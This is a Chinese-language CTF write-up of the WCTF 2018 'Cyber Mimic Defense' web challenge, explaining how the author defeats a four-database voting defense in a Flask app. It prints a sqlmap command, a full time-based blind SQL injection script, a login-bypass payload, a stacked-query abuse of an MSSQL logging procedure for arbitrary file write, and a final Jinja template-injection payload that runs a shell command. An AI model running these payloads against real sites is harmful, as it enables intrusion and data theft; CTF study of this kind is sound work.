WCTF 2018 Cyber Mimic Defense @LC↯BC

  1. 0x01 Break Mimic Defense
  2. 0x02 MSSQL sp_logEvent
  3. 0x03 RCE

author: Dlive

WCTF2018 俄罗斯LC↯BC战队出的一道题目,模仿之前强网杯精英赛使用的拟态防御,在代码层面模拟了一个表决层

比赛之后没有环境了,这里仅记录一下思路

0x01 Break Mimic Defense

题目是Flask开发的一个Web系统,出题人已经给了代码,从代码中可以明显的发现一个SQL注入

在用户登录时代码会调用find_user函数来进行SQL查询,username可控

1
2
3
4
5
6
7
8
def find_user(self, username, driver):
# 如果TERMINAL_TOKENS中存在driver则返回driver的分隔符
# 否则返回默认的 ' "
# 然后从中随机选择一个
# 所有数据库都可能选择单引号作为分隔符
quote = choice(TERMINAL_TOKENS.get(driver, ["'", '"']))
query = '''select * from users where username=%s%s%s;''' % (quote, username, quote)
return self.query(query, driver)
1
2
3
4
5
6
# DB_CONNECTIONS has to be reinitialized, hence defined in user.py

TERMINAL_TOKENS = {
'psql': ["'", '$$'],
'mssql': ["'"]
}

该题模仿了拟态防御的思想,在代码层面实现了一个简单的表决器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def __init__(self, username):
self.DB_CONNECTIONS = {
'mssql': pymssql.connect('127.0.0.1', '', '', ''),
'mysql': MySQLdb.connect(host='localhost', user='', passwd='', db=''),
'psql': psycopg2.connect("dbname='' user='' host='localhost' password=''"),
'sqlite': sqlite3.connect(os.path.dirname(os.path.realpath(__file__)) + '/../X.sqlite3'),
}
# 查询用户
result = [self.find_user(username, driver) for driver in self.DB_CONNECTIONS]
common = Counter(result).most_common()[0]
# 至少三个数据库查询结果相同才可以返回正常结果,否则返回空
# 每个数据库查询可能使用不同的分隔符
user = () if common[1] < len(result) - 1 else common[0]
if not user:
raise UserNotFoundError()
self._id = user[0][0]
self.username = user[0][1]
self.id = self.username
self.password = user[0][2]

从代码中可以看到,在用户登录时,所有数据库都会执行一遍拼接出的SQL语句。

当至少三个数据库的查询结果相同时就会返回正常查询结果,否则返回空。

并且用于包裹字符串的字符也是随机选择的。

但是MSSQL只会使用'单引号作为包裹字符串的字符。

虽然最后表决器表决出来的结果会影响我们的判断,但是针对这种防御方式我们可以使用侧信道的方式外泄数据,比如这里可以使用基于时间的盲注。

MSSQL注入可以直接通过sqlmap跑出来数据库中的内容。

1
python sqlmap.py -u http://172.16.13.79:5000/admin/login/ --data="username=123&password=dlive&remember=Remember+Me" --dbms=mssql -v 3 -p username --dbs --technique=T --level 5

MySQL,SQLite,PostgreSQL同样可以使用时间盲注的方式注入出数据,不过为了拼接出正常的SQL语句,可能要注入的时间长一点,下面附上MySQL注入的脚本。篇幅限制不贴其他两个了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import time
import string

url = "http://172.16.13.79:5000/admin/login/"

flag = ''

# user: belluminar@%

# information_schema

# belluminar
# users
# id
# username
# password

# username: root
# password: f775f3df851856002e5c91d5dce1bb83

for i in range(1, 50):
find = 0
for j in string.printable:
got_it = 0
for k in range(10):
time_start = time.time()

# payload = "ord(substr((select current_user()),%d,1)) = %d" % (i, ord(j))
# payload = "ord(substr((select schema_name from information_schema.schemata limit 2,1),%d,1)) = %d" % (i, ord(j))
# payload = "ord(substr((select table_name from information_schema.tables where table_schema='belluminar' limit 1,1),%d,1)) = %d" % (i, ord(j))
# payload = "ord(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),%d,1)) = %d" % (i, ord(j))
payload = "ord(substr((select password from users limit 1,1),%d,1)) = %d" % (i, ord(j))

data = {
"username" : "' union select 1,'dlive',if((%s),sleep(6),sleep(0)) -- n" % payload,
"password" : "dlive",
"remember" : "Remember+Me"
}

# print data

requests.post(url, data=data, allow_redirects=False)

time_sec = time.time() - time_start

# print time_sec

if time_sec > 4:
got_it = 1
flag += j
print flag
break

if got_it:
print "got it"
find = 1
break
if find == 0:
print "not got it"

把四个数据库里的数据全部拖出来之后发现没有什么有用的信息。

另外可以直接构造union注入进行登录

1
username=dlive' union select 1,'root','202cb962ac59075b964b07152d234b70'-- n&password=123

0x02 MSSQL sp_logEvent

我们可以看到SQL查询的实现支持stack query

1
2
3
4
5
6
7
8
9
def query(self, query, driver):
try:
conn = self.DB_CONNECTIONS[driver]
c = conn.cursor()
c.execute(query)
r = tuple(c.fetchall())
return r
except Exception, e:
return ()

并且在登录成功之后发现代码中存在如下SQL语句。

1
2
3
4
5
6
7
8
9
10
11
@expose('/')
def index(self):
if not login.current_user.is_authenticated:
return redirect(url_for('.login_view'))

self._stubs()
self.header = "Dashboard"

login.current_user.query("EXEC sp_logEvent 'View at %s', 'dashboard', 'visit';" % time.time(), 'mssql')
page = os.path.basename(request.args.get('page', 'dashboard'))
return render_template('sb-admin/pages/%s.html' % page, admin_view=self)

代码中使用了自定义的sp_logEvent存储过程来做日志记录。

我们可以通过SQL注入获取sp_logEvent自定义存储过程的代码。

1
select ROUTINE_DEFINITION from master.INFORMATION_SCHEMA.ROUTINES where ROUTINE_NAME='sp_logEvent'

sp_logEvent存储过程源码如下,可以看到sp_logEvent进行了写文件操作,并且文件名、文件内容可控,但是存储过程参数中的单引号进行了转义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
USE MASTER
GO

DROP PROCEDURE sp_logEvent
GO

CREATE PROCEDURE sp_logEvent(@Txt varchar(max), @Name varchar(40), @Type varchar(40))
WITH EXECUTE AS OWNER
AS
BEGIN
DECLARE @query varchar(max);
SET @Txt = REPLACE(@Txt, "'", "''")
SET @Name = REPLACE(@Name, "'", "''")
SET @Type = REPLACE(@Type, "'", "''")
SET @query = 'EXEC master..spWriteStringToFile ''' + @Txt + ''',
''C:\Users\belluminar\Desktop\webapp\logs\' + @Name + ''', ''' + @Type + '.log''';
EXECUTE(@query);
END
GO

GRANT EXECUTE ON sp_logEvent to PUBLIC
GRANT VIEW DEFINITION ON sp_logEvent TO PUBLIC

所以我们可以通过MSSQL注入进行stack query查询调用sp_logEvent存储过程来进行任意文件写。

0x03 RCE

还是在登录成功之后,我们发现index页面可以接收一个page参数,并加载page值对应的模板文件

1
2
3
4
5
@expose('/')
def index(self):
# 省略部分代码...
page = os.path.basename(request.args.get('page', 'dashboard'))
return render_template('sb-admin/pages/%s.html' % page, admin_view=self)

因为已经可以通过存储过程写文件了,所以可以直接覆盖模板文件来进行RCE。因为Flask用的Jinja模板,可以直接构造SSTI进行RCE,相比之下Django的模板沙箱比较严格很难RCE。

不过因为page可控,所以我们可以通过写新的模板文件来getshell,而不用覆盖已有文件。

最终的payload

1
username=';exec sp_logEvent "{{''.__class__.mro()[2].__subclasses__()[231]('type ..\\..\\flag* > templates/sb-admin/pages/res.html' shell=True)}}", '../server//////////////////////////////''', "../templates/sb-admin/pages/x.html"-- '; -- n&password=asd